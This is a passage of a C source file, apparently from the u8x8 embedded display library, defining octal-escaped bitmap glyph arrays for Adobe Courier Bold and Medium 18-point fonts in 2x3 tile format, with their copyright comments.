\"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\30<~\\347\\303\\201\\1\\0\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\14\\14\\14\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\200\\200\\200\\0\\200\\200\\200\\200\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\1\\1\\377\\377\\3\\1\\1\\377\\377\\3\\1\\1\\377\\377\\0\\0\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\0\"\n  \"\\3\\3\\3\\3\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\377\\377\\6\\3\\1\\1\\1\\3\\377\\376\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\203\\307\\377|\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\200\\200\\200\\200\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\377\\377\\307\\203\\1\\1\\1\\203\\307\\377\"\n  \"|\\0\\0\\0``\\177\\177acc\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\203\\307\\377\\377\\1\\1\\0\\0\\0\\0\\1\\1\\3\\3\\3cca\\177\\177\"\n  \"``\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\377\\377\\7\\3\\1\\1\\1\\3\"\n  \"\\3\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\306\\317\\217\\31\\31\\71\\61\\63\\347\\347\\300\\0\\0\\0\\0\\0\\3\\3\\1\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\370\\370\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\377\\377\\201\\1\\1\\1\\201\\201\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\1\\1\\377\\377\\200\\0\\0\\0\\1\\201\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\1\\3\\3\"\n  \"\\3\\3\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\1\\1\\7\\37y\\341\\200\\200\\341y\\37\\7\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\1\\7\\177\\371\\301\\360>>\\360\\301\\371\\177\\7\\1\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\1\\1\\203\\307m\\70\\70m\\307\\203\\1\"\n  \"\\1\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\1\\7\\37}\\361\\200\\300\\361}\\37\\7\\1\\0\\0\\0\\0```p}\\177g\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\207\\307\\341q\\71\\35\\17\\7\\303\\301\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\14\\4\\4\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\377\\367\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\60  \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\14\\370\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\367\\377\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0  \\60\\37\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\16\\6\\6\\16\\34\\30\\30\\34\\16\"\n  \"\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Bold-R-Normal--25-180-100-100-M-150-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 18/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courB18_2x3_n[1300] U8X8_FONT_SECTION(\"u8x8_font_courB18_2x3_n\") = \n  \" :\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\360\\360\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\1a{;\\17\\17;{a\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\377\\377\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0`\\70\\36\\16\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340x\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340x\\36\\7\\1\\0\\0\\0\\0\\0\\0\\0`x\\36\\7\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340`\\60\\60\\60\\60`\\340\\200\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\7\\6\\14\\14\\14\\14\\6\\7\\1\\0\\0\\0\\0\\0\\0```p\\360\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\17\\17\\14\\14\\14\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340p\\60\\60\\60\\60p\\340\\300\\0\\0\\0\\0\\0\\0\\1\\1\\200\\300\\340p\\70\\34\\17\\7\"\n  \"\\0\\0\\0\\0\\0\\14\\16\\17\\17\\15\\14\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\300\\340p\\60\\60\\60\\60p\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\34>\\367\\343\\0\\0\\0\\0\\0\\3\\7\\16\\14\\14\\14\\14\\14\\16\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340p\\360\\360\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\317\\303\\300\\300\\377\\377\\300\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\17\\17\\14\\14\\0\\0\\0\\0\\0\\0\\0\\360\\360\\60\\60\\60\\60\\60\\60\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\17\\17\\14\\6\\6\\6\\16\\34\\374\\360\\0\\0\\0\\0\\0\\3\\7\\16\\14\\14\\14\\14\\16\\7\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\200\\300\\340`p\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\376\\377\\33\\14\\14\\14\\14\\34\\370\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\7\\7\\16\\14\\14\\14\\16\\7\\3\\0\\0\\0\\0\\0\\0pp\\60\\60\\60\\60\\60\\60\\360\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340`\\60\\60\\60\\60`\\340\\300\\0\\0\\0\\0\\0\\0\\343\\367<\\30\\30\\30\\30<\\367\\343\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\7\\16\\14\\14\\14\\14\\16\\7\\3\\0\\0\\0\\0\\0\\0\\0\\200\\340`\\60\\60\\60\\60`\\340\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\37\\77p```\\60\\30\\377\\377\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\6\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Medium-R-Normal--25-180-100-100-M-150-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 191/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courR18_2x3_f[10756] U8X8_FONT_SECTION(\"u8x8_font_courR18_2x3_f\") = \n  \" \\377\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<\\374<\\0\\0<\\374<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\0\\0\\374\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\21\\21\\377\\21\\21\\377\\21\\21\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300 \\20\\36\\20\\20 p\\0\\0\\0\\0\\0\\0\\0\\300\\201\\2\\4\\4\\4\\4\\210p\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\0\\1\\1\\37\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0p\\210\\4\\4\\4\\210p\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\10\\10\\5\\5\\345\\22\\12\\12\\11\\21\\341\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300  `@ \\0\\0\\0\\0\\0\\0\\0\\0\\360\\10\\5\\6\\30 \\340\\230\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\1\\0\\1\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\30\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\14\\20\\0\\0\\0\\0\\0\\0\\0\\0\\4\\30\\340\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\14\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0 `@\\300\\374\\300@` \\0\\0\\0\\0\\0\\0\\0\\4\\6\\3\\1\\0\\1\\3\\6\\4\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\4\\377\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\4\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\60\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\60\\14\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\60\\20\\10\\10\\10\\20\\60\\300\\0\\0\\0\\0\\0\\0\\0\\177\\200\\0\\0\\0\\0\\0\\200\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\10\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\0`\\20\\20\\10\\10\\10\\10\\20\\340\\0\\0\\0\\0\\0\\0\\0\\0\\200@ \\20\\10\\4\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\0\\0\\0\\20\\10\\10\\10\\10\\10\\20\\360\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\0\\0\\2\\2\\2\\2\\5\\4\\370\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200`\\20\\10\\370\\0\\0\\0\\0\\0\\0\\0\\0\\60,#    \\377  \"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\370\\10\\10\\10\\10\\10\\10\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\2\\1\\1\\1\\1\\2\\206x\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200`\\60\\20\\10\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\177\\204\\2\\1\\1\\1\\1\\2\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\1\\0\\0\\0\\0\\0\\0\\0\\70\\10\\10\\10\\10\\10\\10\\350\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200p\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\20\\10\\10\\10\\10\\20\\340\\0\\0\\0\\0\\0\\0\\0p\\211\\6\\4\\4\\4\\4\\6\\211p\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\340\\60\\20\\10\\10\\10\\20\\60\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\6\\4\\10\\10\\10\\4\\302\\77\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\16\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200@@  \\0\\0\\0\\0\\0\\4\\16\\12\\21\\21  @@\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\22\\22\\22\\22\\22\\22\\22\\22\\22\\22\\22\\22\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0  @@\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200@@  \\21\\21\\12\\16\"\n  \"\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\20\\20\\20\\20\\20 \\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\10\\10\\4\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\30\\10\\4\\4\\4\\204\\210\\360\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\36!@@\\177@\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\6\\4\\10\\10\\10\\10\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\320\\60\\20\\60\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200p\\36\\21\\20\\20\\20\\21\\36p\\200\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\"\n  \"\\3\\2\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20\\20 \\300\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\4\\4\\4\\4\\12\"\n  \"\\361\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\1\\0\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20 @\"\n  \"\\360\\0\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\200\\300\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\20\\360\\20\\20\\20\\20\\20\\20\\20 `\\200\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\177\\0\\0\\0\\0\\2\\3\\2\\2\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20\\20\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\37\\0\\0\\0\\0\\340\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\3\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20 @\\360\"\n  \"\\0\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\20\\20\\20\\20\\360\\20\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\0\\0\\0\\20\\20\\360\\20\\20\\0\\0\\0\\0\\0\\377\\4\\4\\4\\4\\4\\4\\4\\377\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\20\\20\\20\\20\\360\\20\\20\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\360\\20\\20\\20\\0\\0\\0\\0\\360\\0\\0\\0\\0\\0\\0\\200\\177\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\0\\0\\200P\\60\\20\"\n  \"\\20\\0\\0\\0\\0\\0\\0\\377\\10\\4\\6\\11\\20 \\300\\0\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\2\\3\"\n  \"\\2\\2\\0\\0\\0\\20\\20\\20\\360\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\340\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\20\\360p\\200\\0\\0\\0\\0\\0\\200p\"\n  \"\\360\\20\\0\\0\\0\\0\\377\\0\\1\\6\\30\\20\\30\\6\\1\\0\\377\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\"\n  \"\\3\\2\\0\\0\\20\\20\\360\\60@\\200\\0\\0\\20\\20\\20\\360\\20\\20\\0\\0\\0\\0\\377\\0\\0\\1\\6\\30`\\200\\0\\377\"\n  \"\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20\\20 `\"\n  \"\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\77\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20 \\300\\0\\0\\0\\0\\0\\0\\0\\377\\10\\10\\10\\10\\10\\10\\4\"\n  \"\\3\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20\\20 `\"\n  